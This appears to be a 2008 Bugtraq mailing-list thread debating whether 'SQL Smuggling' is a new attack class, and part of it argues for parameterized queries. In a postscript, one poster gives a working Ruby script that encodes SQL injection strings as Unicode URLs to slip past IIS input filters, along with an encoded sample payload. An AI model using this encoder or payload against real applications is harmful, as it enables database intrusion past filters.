RE: SQL Smuggling
Hi,
First let me start by saying im not writing to flame anyone (or whatever you
kids say these days). I know its can be a daunting to release a paper to the
security community because if any of its incorrect you're gonna hear about it.
However releasing a paper and claiming it to be a new class (or sub-class) of
vulnerability, well im sorry, its like wearing Gold football boots, you better
get it right after a statement like that.
If this paper was titled "Bypassing Broken Input Validation Filters" then there
would be no problems. However none of what exists in this document is new, in
fact most of it is in the Web Application Hackers Handbook or in much older
papers. Constructing attackers of all kinds to bypass black list filters is a
common duty of the web application tester, also take a look at all of the
recent SQL injection worms.
The main thing wrong here is claiming it to be something new, or even claiming
it to be a "sub-class", it not!
Its several methods for encoding sql queries or tricking multi layered input
validation/sanitisation routines, none of which are new, all of which are
implemented by every pen/app tester i have ever worked with.
It could be a useful reference but i would rename it and drop the "new class"
claims.
Regards
Gary
P.S. You mention the unicode trick but dont provide any code or exploit
examples. Here is a ruby script to perform the encoding when attacking a bug
via IIS (others may also work).
# Ruby Script to generate URL encoded Unicode UTF-8 URL.
# Author: Gary O'leary-Steele of Sec-1 Ltd
# Example:
# The string ' or 1 in (@@version)-- is encoded as and work for the same SQL
injection attack
#
%u02b9%u0020%uff4f%uff52%u0020%uff11%u0020%uff49%uff4e%u0020%uff08%u0040%u0040%uff56%uff45%uff52%uff53%uff49%uff4f%uff4e%uff09%uff0d%uff0d
#
#
require 'uri'
def unicode_url(string)
lookuptable = Hash.new
lookuptable ={
' ' => '%u0020',
'/' => '%u2215',
'\\' => '%u2215',
"'" => '%u02b9',
'"' => '%u0022',
'>' => '%u003e',
'<' => '%u003c',
'#' => '%uff03',
'!' => '%uff01',
'$' => '%uff04',
'*' => '%uff0a',
'@' => '%u0040',
'.' => '%uff0e',
'_' => '%uff3f',
'(' => '%uff08',
')' => '%uff09',
',' => '%uff0c',
'%' => '%u0025',
'-' => '%uff0d',
';' => '%uff1b',
':' => '%uff1a',
'|' => '%uff5c',
'&' => '%uff06',
'+' => '%uff0b',
'=' => '%uff1d',
'a' => '%uff41',
'A' => '%uff21',
'b' => '%uff42',
'B' => '%uff22',
'c' => '%uff43',
'C' => '%uff23',
'd' => '%uff44',
'D' => '%uff24',
'e' => '%uff45',
'E' => '%uff25',
'f' => '%uff46',
'F' => '%uff26',
'g' => '%uff47',
'G' => '%uff27',
'h' => '%uff48',
'H' => '%uff28',
'i' => '%uff49',
'I' => '%uff29',
'j' => '%uff4a',
'J' => '%uff2a',
'k' => '%uff4b',
'K' => '%uff2b',
'l' => '%uff4c',
'L' => '%uff2c',
'm' => '%uff4d',
'M' => '%uff2d',
'n' => '%uff4e',
'N' => '%uff2e',
'o' => '%uff4f',
'O' => '%uff2f',
'p' => '%uff50',
'P' => '%uff30',
'q' => '%uff51',
'Q' => '%uff31',
'r' => '%uff52',
'R' => '%uff32',
's' => '%uff53',
'S' => '%uff33',
't' => '%uff54',
'T' => '%uff34',
'u' => '%uff55',
'U' => '%uff35',
'v' => '%uff56',
'V' => '%uff36',
'w' => '%uff57',
'W' => '%uff37',
'x' => '%uff58',
'X' => '%uff38',
'y' => '%uff59',
'Y' => '%uff39',
'z' => '%uff5a',
'Z' => '%uff3a',
'0' => '%uff10',
'1' => '%uff11',
'2' => '%uff12',
'3' => '%uff13',
'4' => '%uff14',
'5' => '%uff15',
'6' => '%uff16',
'7' => '%uff17',
'8' => '%uff18',
'9' => '%uff19'}
# Convert string to array of chars
chararray = string.scan(/./)
newstr = String.new
chararray.each do |c|
if lookuptable.has_key? c
newstr = newstr + lookuptable[c]
else
newstr = newstr + URI.escape(c)
end
end
return newstr
end
print "Enter string to URL Unicode:"
puts unicode_url(gets)
________________________________________
From: Tim [tim-security@xxxxxxxxxxxxxxxxxxx]
Sent: 10 September 2008 00:34
To: douglen@xxxxxxxxxxx
Cc: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Re: SQL Smuggling
> We released a research paper a few months ago, regarding a sub-class
> of SQL Injection that has not received attention till now. The crux is
> that when it comes to SQLi, protection and detection do not typically
> take the architecture into account; this can allow smuggling attacks
> which are not blocked or discovered.
>
> The paper can be found at:
> http://www.ComsecGlobal.com/framework/Upload/SQL_Smuggling.pdf
>
> From the paper:
> "This paper will present a new class of attack, called SQL Smuggling.
> ...
I don't see how this is a new class of attack. You've merely outlined
some techniques to bypass broken data validation routines. In SQL
injection, as with any injection vulnerability, the correct way to fix
it is to rely on the syntax of the language to encode data which may be
interpreted as /special/.
Yes, this is database specific. That's not new. That's why you need to
rely on the database's routines for treating data as data and not as SQL
syntax. This is what parameterized statements are for. You rely on the
database driver or database server itself to correctly separate data
from syntax. If this is still injectable, then it's a vulnerability in
that particular database, but still isn't a "new class of attack".
Relying on data validation alone will eventually land you in hot water.
You can't always reject last names such as "O'Leary" just because of the
apostrophe. Correct encoding is the way to *fix* it, and data
validation should only be used to slow down the bad guy if you forgot to
encode something and to enforce business logic. (Go back and read this
paragraph again. It's the important one.)
As for attacks against signature validation... uh, don't even go there.
We all know that's a losing battle. Just look at how bad AV has become.
In summary, your paper would be better presented as a collection of fun
SQL injection attacks against commonly broken data validation routines.
tim
This e-mail and any attached files are confidential and may also be legally
privileged. They are intended solely for the intended addressee. If you are not
the addressee please e-mail it back to the sender and then immediately,
permanently delete it. Do not read, print, re-transmit, store or act in
reliance on it. This e-mail may be monitored by Sec-1 Ltd in accordance with
current regulations. This footnote also confirms that this e-mail message has
been swept for the presence of computer viruses currently known to Sec-1 Ltd.
However, the recipient is responsible for virus-checking before opening this
message and any attachment. Unless expressly stated to the contrary, any views
expressed in this message are those of the individual sender and may not
necessarily reflect the views of Sec-1 Ltd.